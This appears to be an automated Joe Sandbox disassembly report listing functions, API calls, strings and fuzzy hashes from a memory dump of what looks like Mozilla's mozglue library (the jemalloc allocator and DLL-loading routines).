Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: d231cf797e41c36fcb6f881d29eef3f644c7db572c3cd277bd9966b20aaabc96
Instruction ID: 923646b31d684801ca7754342d1aa67338a6793bbf1e0bcebf1995910b68715f
Opcode Fuzzy Hash: d231cf797e41c36fcb6f881d29eef3f644c7db572c3cd277bd9966b20aaabc96
Instruction Fuzzy Hash: 15535D71B057018FD704CF29C581615BBE1BF89328F29C6ADE869DBB91D771E881CB82

Function 6CAD0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAD0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAD0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAD0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAD1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAD10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAD117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAD1C39
EnterCriticalSection.KERNEL32(6CB1E744), ref: 6CAD3391
LeaveCriticalSection.KERNEL32(6CB1E744), ref: 6CAD33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAD3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD3437

Strings

<jemalloc>, xrefs: 6CAD3941, 6CAD39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAD37A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAD3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAD37BD
MALLOC_OPTIONS, xrefs: 6CAD35FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAD3559, 6CAD382D, 6CAD3848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAD37D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAD3A02
MOZ_CRASH(), xrefs: 6CAD3950
Compile-time page size does not divide the runtime one., xrefs: 6CAD3946

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 52d23667b331250f2f91e73793c6e80d601baf4e6f24a4e464c4dd5c0c44cc6b
Instruction ID: a832752c71bd07c01f887e0d41a2da185f75acae5b04735fbe0a3810ebe0d323
Opcode Fuzzy Hash: 52d23667b331250f2f91e73793c6e80d601baf4e6f24a4e464c4dd5c0c44cc6b
Instruction Fuzzy Hash: 8F535B71A167018FD304CF29C544615BBF1BF89328F2AC76DE8A99BB91D771E881CB81

Function 6CAF55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CACE1A5), ref: 6CAF5606
LoadLibraryW.KERNEL32(gdi32,?,6CACE1A5), ref: 6CAF560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAF5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAF563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAF566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAF567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAF5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAF56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAF56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAF56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAF56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAF5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAF572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAF5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAF5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAF577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAF5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAF57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAF57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAF57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAF57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAF57FF

Strings

LoadCursorW, xrefs: 6CAF5774
GetThreadDpiAwarenessContext, xrefs: 6CAF562D
SetWindowLongPtrW, xrefs: 6CAF57B7
EnableNonClientDpiScaling, xrefs: 6CAF5666
GetDpiForWindow, xrefs: 6CAF5690
StretchDIBits, xrefs: 6CAF57CC
GetSystemMetricsForDpi, xrefs: 6CAF5677
FillRect, xrefs: 6CAF5729
CreateWindowExW, xrefs: 6CAF56C5
ShowWindow, xrefs: 6CAF56DE
ReleaseDC, xrefs: 6CAF5742
CreateSolidBrush, xrefs: 6CAF57E4
AreDpiAwarenessContextsEqual, xrefs: 6CAF5637
MonitorFromWindow, xrefs: 6CAF578D
GetMonitorInfoW, xrefs: 6CAF57A2
DeleteObject, xrefs: 6CAF57F9
user32, xrefs: 6CAF5601
gdi32, xrefs: 6CAF560A
SetWindowPos, xrefs: 6CAF56F7
RegisterClassW, xrefs: 6CAF56AC
LoadIconW, xrefs: 6CAF575B
GetWindowDC, xrefs: 6CAF5710

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c8201c3914cc462fafd8fe35720392b6bccf0e3829d012d15e6548d2547e9e7c
Instruction ID: 3d22511de59427c15fc8db677c8b2405afd4b3931a53bf91f2af2b23cc159d14
Opcode Fuzzy Hash: c8201c3914cc462fafd8fe35720392b6bccf0e3829d012d15e6548d2547e9e7c
Instruction Fuzzy Hash: 875175B5B117469BDB009F358D0992A3BF9AB06755B148829F921E3F42EF74CC41CFA0

Function 6CAF34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3EE2

Part of subcall function 6CAF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAF61DD
Part of subcall function 6CAF6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAF622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4157

Part of subcall function 6CAF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAF6250
Part of subcall function 6CAF6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4896
free.MOZGLUE ref: 6CAF489F

Strings

, xrefs: 6CAF4CD2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8513b2ded1ba2b2e3aba4a0c8e86815e0857dd9d4bb36df13bd375a0252bbd16
Instruction ID: 917951a58fbdcc714ac74a617aab40dd8d6c79bf700a1c81bc7e0b8ed68886dc
Opcode Fuzzy Hash: 8513b2ded1ba2b2e3aba4a0c8e86815e0857dd9d4bb36df13bd375a0252bbd16
Instruction Fuzzy Hash: 96F25B74908B808FC725CF28C18469AFBF1FFCA344F158A5EE99997751DB319886CB42

Function 6CAA64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAA64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAA64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAA6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAA6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAA652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA671C
GetCurrentProcess.KERNEL32 ref: 6CAA6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAA672F
GetCurrentProcess.KERNEL32 ref: 6CAA6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAA6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAA6A80
GetSystemInfo.KERNEL32(?), ref: 6CAA6ABE
__Init_thread_footer.LIBCMT ref: 6CAA6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6AF7

Strings

nvd3d9wrap.dll, xrefs: 6CAA6500
user32.dll, xrefs: 6CAA6526
_etoured.dll, xrefs: 6CAA64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAA6798
detoured.dll, xrefs: 6CAA64DA
nvdxgiwrap.dll, xrefs: 6CAA6513

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bccbf0b542c06f597ed58346c205b780a3a45c90f03d1c2e5d010acc9da2ff9b
Instruction ID: 59443249f8200ea1d928191a550fe717d6a220ee4734ae0a147b0539ef315412
Opcode Fuzzy Hash: bccbf0b542c06f597ed58346c205b780a3a45c90f03d1c2e5d010acc9da2ff9b
Instruction Fuzzy Hash: 32F1E371A052198FDB20CFA8CD48B9AB7B5AF05318F1842D9D819E3B41D731AEC6CF91

Function 6CAC60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC60C9
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC610D
EnterCriticalSection.KERNEL32(?), ref: 6CAC618C
LeaveCriticalSection.KERNEL32(?), ref: 6CAC61F9

Strings

<jemalloc>, xrefs: 6CAC6AA9, 6CAC6B59
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAC6BC7, 6CAC6F97, 6CAC6FB2
MALLOC_OPTIONS, xrefs: 6CAC6888
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAC6B6A
Compile-time page size does not divide the runtime one., xrefs: 6CAC6AAE
MOZ_CRASH(), xrefs: 6CAC6AB8

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 9ae804845dc640936a8771cc48819af8afb9641b5850ab342f5659bec7ceabc9
Instruction ID: ccfd29f0d50b6265e1e664e4a4d0fa6de86afe63d93d3c0886d1b85c2f9a88bb
Opcode Fuzzy Hash: 9ae804845dc640936a8771cc48819af8afb9641b5850ab342f5659bec7ceabc9
Instruction Fuzzy Hash: 39A29C71B096418FD708CF18C554629BBF1FB85328F29C66DE869DBB91C771E881CB82

Function 6CAFC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAFC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAFC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CAFC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFE472

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 844bbd4065789f59072dea87fe8ae3be76f25ceb6622f53df13caa916981e16c
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8A338F71E0021ACFCB14CF98C8806EDBBF2FF49314F194269E965AB755D731A986CB90

Function 6CAAFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAAFF81
LeaveCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAB022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAB0240
EnterCriticalSection.KERNEL32(6CB1E768), ref: 6CAB025B
LeaveCriticalSection.KERNEL32(6CB1E768), ref: 6CAB027B

Strings

<jemalloc>, xrefs: 6CAB0D62, 6CAB0D76, 6CAB0DA7
: (malloc) Error in VirtualFree(), xrefs: 6CAB0D67, 6CAB0D7B, 6CAB0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAAFE99, 6CAAFEB7, 6CAAFED3, 6CAB0DB8, 6CAB0DD3, 6CAB19B4

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 4d0ddd0e159410b7a1ea9b99742121898ae574441c587f8bb59971dcee0cf504
Instruction ID: 384804a570dc047b68e2edec401be15841aa2ba9a490ed4b2de16773a2595bd9
Opcode Fuzzy Hash: 4d0ddd0e159410b7a1ea9b99742121898ae574441c587f8bb59971dcee0cf504
Instruction Fuzzy Hash: 9FC2F2B1A057418FD714CF28C980716BBE5BF85328F28C66DE5A99BBD5C731E881CB81

Function 6CAFE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CAFE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAFF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB00E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB00E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB00EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB00ED4

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c7166a27fca700dcad12c85a98789cc6604bbd00944048e037088fea720abfbb
Instruction ID: e591a61130b233c4349410741c60c761ef7ed0e0b1a83ff9cc5b55639cc0f487
Opcode Fuzzy Hash: c7166a27fca700dcad12c85a98789cc6604bbd00944048e037088fea720abfbb
Instruction Fuzzy Hash: F4636E71E0025A8FCB18CFA8C8905DDFBF2FF89314F298269D855AB755D730A946CB90

Function 6CAD3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CAF7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3E7D,?,?,?,6CAD3E7D,?,?), ref: 6CAF777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CAD3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAD3F5C
VerSetConditionMask.NTDLL ref: 6CAD3F8D
VerSetConditionMask.NTDLL ref: 6CAD3F99
VerSetConditionMask.NTDLL ref: 6CAD3FA0
VerSetConditionMask.NTDLL ref: 6CAD3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAD3FB4

Strings

nvd3d9wrap.dll, xrefs: 6CAD4466
nvinit.dll, xrefs: 6CAD4479

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: df257021ac6d169a3403cf18b8da1e7a7b6be96818916a63d5def0ed8ba88fed
Instruction ID: 393183eb154bdbdfb0968d4963e6b8e4a2e4ed83e3c2b9e7c6dfb10284b270b5
Opcode Fuzzy Hash: df257021ac6d169a3403cf18b8da1e7a7b6be96818916a63d5def0ed8ba88fed
Instruction Fuzzy Hash: 5852D271610B488FD715DF74C980AAB77E9AF45308F050A2DE4968BB82DB34F94ECB60

Function 6CABED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CABEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CABEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAC1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAC1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAC1A3E

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: ca878fe3e1241f952ecc4ce22b3f02637a4f40dba982eacbf366325aa34b740b
Instruction ID: e41276225a485d890f65427914992667170056d89eac37847b96ef18bebf9501
Opcode Fuzzy Hash: ca878fe3e1241f952ecc4ce22b3f02637a4f40dba982eacbf366325aa34b740b
Instruction Fuzzy Hash: 79B33975E00219CFCB14CFA9C890AEDB7B2BF49304F1982A9D549BB745D730A986CF91

Function 6CAAFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAAFF81
LeaveCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAB022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAB0240
EnterCriticalSection.KERNEL32(6CB1E768), ref: 6CAB025B
